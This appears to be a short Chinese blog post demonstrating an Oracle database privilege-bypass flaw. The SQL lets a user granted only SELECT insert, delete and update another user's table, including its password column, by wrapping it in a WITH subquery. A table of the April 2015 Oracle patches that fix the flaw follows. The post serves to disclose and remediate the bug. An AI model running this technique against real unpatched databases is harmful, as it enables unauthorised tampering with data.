oracle漏洞攻防---之with越权增删改

灰太狼 2022-05-31 04:12 262阅读 0赞

-- 创建两个用户 i and you
    create user i identified by root;
    grant connect,resource to i;
    
    create user you identified by root;
    grant connect,resource to you;
    
    -- i 登录， 创建i的私有表
    create table t_user (
      id number not null primary key,
      name varchar2(32),
      password varchar2(128)
    );
    -- i 登录， 创建私有序列
    create sequence seq_user nomaxvalue nominvalue nocache nocycle 
    increment by 1
    start with  1;
    -- i 登录， 存入一条数据
    insert into t_user values (seq_user.nextval, 'zhangsan', '123456');
    
    -- 授权给you 查询权限
    grant select on t_user to you;
    
    -- you 登录 测试增、删、改
    insert into (with t as (select * from i.t_user) select * from t) select -1, 'wangwu', '00000' from dual;
    
    delete (with t as (select * from i.t_user) select id from t) where id = -1;
    
    update (
      with m as (select * from i.t_user)
      select * from m
    ) e
    set e.password='000000';

以下提供补丁包：

<table>    
 <tbody> 
  <tr> 
   <td>更新对象</td> 
   <td>补丁号</td> 
   <td>名称</td> 
   <td>程序包</td> 
  </tr> 
  <tr> 
   <td>GI</td> 
   <td align="right">19852360</td> 
   <td>ORACLE JAVA TECHNOLOGY Patch for Bug# 19852360 for Generic Platforms</td> 
   <td>p19852360_112040_Generic</td> 
  </tr> 
  <tr> 
   <td align="right">20485808</td> 
   <td>Oracle Grid Infrastructure Patch Set Update 11.2.0.4.6 (Apr2015) (Includes Database PSU 11.2.0.4.6)</td> 
   <td>p20485808_112040_Linux-x86-64&nbsp;</td> 
  </tr> 
  <tr> 
   <td align="right">20834621</td> 
   <td>Combo of OJVM Component 11.2.0.4.3 DB PSU + GI PSU 11.2.0.4.6 (Apr2015)</td> 
   <td>p20834621_112040_Linux-x86-64</td> 
  </tr> 
  <tr> 
   <td>Database</td> 
   <td align="right">19852360</td> 
   <td>ORACLE JAVA TECHNOLOGY Patch for Bug# 19852360 for Generic Platforms</td> 
   <td>p19852360_112040_Generic</td> 
  </tr> 
  <tr> 
   <td align="right">20299013</td> 
   <td>Database Patch Set Update 11.2.0.4.6 (Includes CPUApr2015)</td> 
   <td>p20299013_112040_Linux-x86-64</td> 
  </tr> 
  <tr> 
   <td align="right">20299015</td> 
   <td>Database Security Patch Update 11.2.0.4.0 (CPUApr2015)</td> 
   <td>p20299015_112040_Linux-x86-64</td> 
  </tr> 
  <tr> 
   <td align="right">20406239</td> 
   <td>Oracle JavaVM Component 11.2.0.4.3 Database PSU (Apr2015)</td> 
   <td>p20406239_112040_Linux-x86-64</td> 
  </tr> 
  <tr> 
   <td align="right">20834611</td> 
   <td>Combo of OJVM Component 11.2.0.4.3 DB PSU + DB PSU 11.2.0.4.6 (Apr2015)</td> 
   <td>p20834611_112040_Linux-x86-64</td> 
  </tr> 
 </tbody> 
</table>